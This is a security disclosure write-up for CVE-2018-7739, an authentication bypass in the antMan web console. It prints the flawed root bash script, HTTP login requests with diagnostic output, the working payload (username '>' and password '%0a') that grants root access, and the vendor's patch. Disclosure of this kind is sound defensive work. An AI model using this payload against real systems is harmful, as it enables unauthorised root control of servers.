antMan Authentication Bypass

Issue Summary

antMan versions <= 0.9.0c contain a critical authentication defect, allowing an unauthenticated attacker to obtain root permissions within the antMan web management console.

TL;DR - username=>&password=%0a == root access

Vendor Background

TechRepublic describes the antsle as…

A private cloud server, designed for developers, that can serve businesses of all sizes. With this piece of hardware, you can roll out servers, containers, you name it—all from a user-friendly web-based GUI.

The web-based GUI is antMan, responsible for provisioning and maintaining your virtual servers and containers.

Walk-through

How antMan Authenticates

The antMan authentication implementation obtains user-supplied username and password parameters from a POST request issued to /login. Next, antMan utilizes Java’s ProcessBuilder class to invoke, as root, a bash script called antsle-auth.

This bash script takes in three arguments:
  1. The functional action to take (login or chpass)
  2. username
  3. password
The flow-control of the script is to first make two getent shadow calls to obtain the salt and hash stored in /etc/shadow.
salt=$(getent shadow $username | cut -d$ -f3)
epassword=$(getent shadow $username | cut -d: -f2)
It then executes a python command to compute a hash based on the salt from /etc/shadow and the user-supplied password.
match=$(python -c 'import crypt; print crypt.crypt("'"${password}"'", "$6$'${salt}'")')
If the hash from /etc/shadow matches the hash computed by python, the user is authenticated as root to antMan. If they do not, the user is rejected.
if [ ${match} == ${epassword} ]
then
 echo "Password matches"
 exit 0
else
 echo "Password doesn't match"
 exit 1
fi
Adding some diagnostic statements into antsle-auth, we can see the variable assignment and computed hashes during a valid login attempt with the username root and the default password of antsle.
POST /login HTTP/1.1
Host: 10.1.1.7:3000
[snip]
Cookie: ring-session=67227f68-4b01-4510-b161-d3cd162ad470

username=root&password=antsle
user-supplied username: root
user-supplied password: antsle
salt from shadow: yPWFS3aj
hash from shadow: $6$yPWFS3aj$zje.YjpD0hXbhab4lxKdiGCHMVzAkXs/psEQGpFFqG7epnmFtU6ShGNu.sYhywQJmFxoQTWJIG4x7h8CUC3Si1
hash from python: $6$yPWFS3aj$zje.YjpD0hXbhab4lxKdiGCHMVzAkXs/psEQGpFFqG7epnmFtU6ShGNu.sYhywQJmFxoQTWJIG4x7h8CUC3Si1
In this case, we have successfully authenticated to antMan because the hash pulled from /etc/shadow matches the hash generated by python with the user-supplied password.

For the sake of completeness, here we see a login attempt with the wrong password, showing the hash mismatch and a rejected authentication attempt.
POST /login HTTP/1.1
Host: 10.1.1.7:3000
[snip]
Cookie: ring-session=67227f68-4b01-4510-b161-d3cd162ad470

username=root&password=not-antsle
user-supplied username: root
user-supplied password: not-antsle
salt from shadow: yPWFS3aj
hash from shadow: $6$yPWFS3aj$zje.YjpD0hXbhab4lxKdiGCHMVzAkXs/psEQGpFFqG7epnmFtU6ShGNu.sYhywQJmFxoQTWJIG4x7h8CUC3Si1
hash from python: $6$yPWFS3aj$8JOon7H.49kEe8VzaOhwFP2/ExNV0hQNRFaHYo3IHdlAlHL0vt5/qwU4OmR6GuJhz1YJNDn4OdkATRKRCpWv41

Why This is Vulnerable

This implementation is flawed in that unchecked/unsanitized user input, in the form of the username and password parameters, will be passed directly to the antsle-auth bash script. This condition is exacerbated by the fact that there is no error handling or inspection of any return values within the antsle-auth script.

This matters because an attacker does not need to attempt to brute force the password or attempt a hash collision in order to pass this if test:
if [ ${match} == ${epassword} ]
We just need to create a condition where match and epassword are equal, regardless of what that value actually is (e.g., it doesn’t need to be a hash).

How can we force match and epassword to be equal without knowing the true root password? Could we get the getent shadow call to return an unanticipated value? Could we get the python command to fail?

Exploitation

In order to exploit this vulnerability and gain access to antMan without a valid password, we find that if we pass in certain values for the username and password fields, we can generate return values the developer did not anticipate. In this proof of concept, we’ll force both match and epassword to return empty, allowing us to pass this if test and be granted access to antMan.
if [ ${match} == ${epassword} ]
First, we need to look at the getent shadow call.
salt=$(getent shadow $username | cut -d$ -f3)
epassword=$(getent shadow $username | cut -d: -f2)
The getent shadow call will return the content from /etc/shadow when a valid username is passed in as an argument.
root@myantsle:~ # u=root
root@myantsle:~ # getent shadow $u
root:$6$yPWFS3aj$zje.YjpD0hXbhab4lxKdiGCHMVzAkXs/psEQGpFFqG7epnmFtU6ShGNu.sYhywQJmFxoQTWJIG4x7h8CUC3Si1:17581:0:::::
When a "bad" character is passed in, look what happens. Nothing is returned, which we may be able to use to our advantage.
root@myantsle:~ # u=\>
root@myantsle:~ # getent shadow $u
root@myantsle:~ # 
Let’s try to authenticate with a > in the username and see what our diagnostic statements in antsle-auth output.
POST /login HTTP/1.1
Host: 10.1.1.7:3000
[snip]
Cookie: ring-session=67227f68-4b01-4510-b161-d3cd162ad470

username=>&password=dontknow
user-supplied username: >
user-supplied password: dontknow
salt from shadow: 
hash from shadow: 
hash from python: $6$$Cv/81wXnKj1Rv.qnvdqGmosXNyLBBu.B9EId3IPxUSw/4J4gLYlsR/uV1tyHx7YaikDy6MP2M9Q5rdQYoyRPn0
Look at that. The hash from shadow output is empty. This means we have now made epassword empty. Now we just need to figure out how to get the python command to return empty so the if test can return true.

Turns out, we can pass in a URL-encoded linefeed %0a in the password field, which will result in the python script returning an EOL while scanning string literal error, which gets swallowed, resulting in match being empty.

Let’s try to authenticate with the username root and a password of %0a and see what our diagnostics return.
POST /login HTTP/1.1
Host: 10.1.1.7:3000
[snip]
Cookie: ring-session=67227f68-4b01-4510-b161-d3cd162ad470

username=root&password=%0a
user-supplied username: root
user-supplied password: 
salt from shadow: yPWFS3aj
hash from shadow: $6$yPWFS3aj$zje.YjpD0hXbhab4lxKdiGCHMVzAkXs/psEQGpFFqG7epnmFtU6ShGNu.sYhywQJmFxoQTWJIG4x7h8CUC3Si1
hash from python:
Great! We now have python erroring out, making match empty.

It appears we can now force, without an actual password, the if test to return true, granting us root access to antMan. Let’s confirm this in antMan directly.

Setup burp and intercept the login attempt.

Edit username and password to > and %0a, respectively, and forward the request.
Success! We have authenticated to antMan without a legitimate password.
We are now free to create antlets, delete antlets, modify network interfaces and more, all with administrative privileges.

Reporting and Remediation

Timeline

2/19/2018 - Issue reported to antsle team
2/23/2018 - Vulnerability confirmed by antsle
2/28/2018 - 0.9.1a Patch released to the public
3/6/2018 - CVE-2018-7739 assigned by MITRE

Patch

The antsle-auth script was updated to include a check to confirm if the username provided is a valid user as well as return value inspection on the python command call. A snippet from the python return value check is as follows.
 match=$(python -c 'import crypt;print crypt.crypt("'"${password}"'", "$6$'${salt}'")')

 if [ $? -ne 0 ]
 then
  echo "Password doesn't match"
  exit 1
 fi

Acknowledgments

It was a pleasure working with the antsle team on this vulnerability. I appreciated the quick feedback and thorough responses on this issue.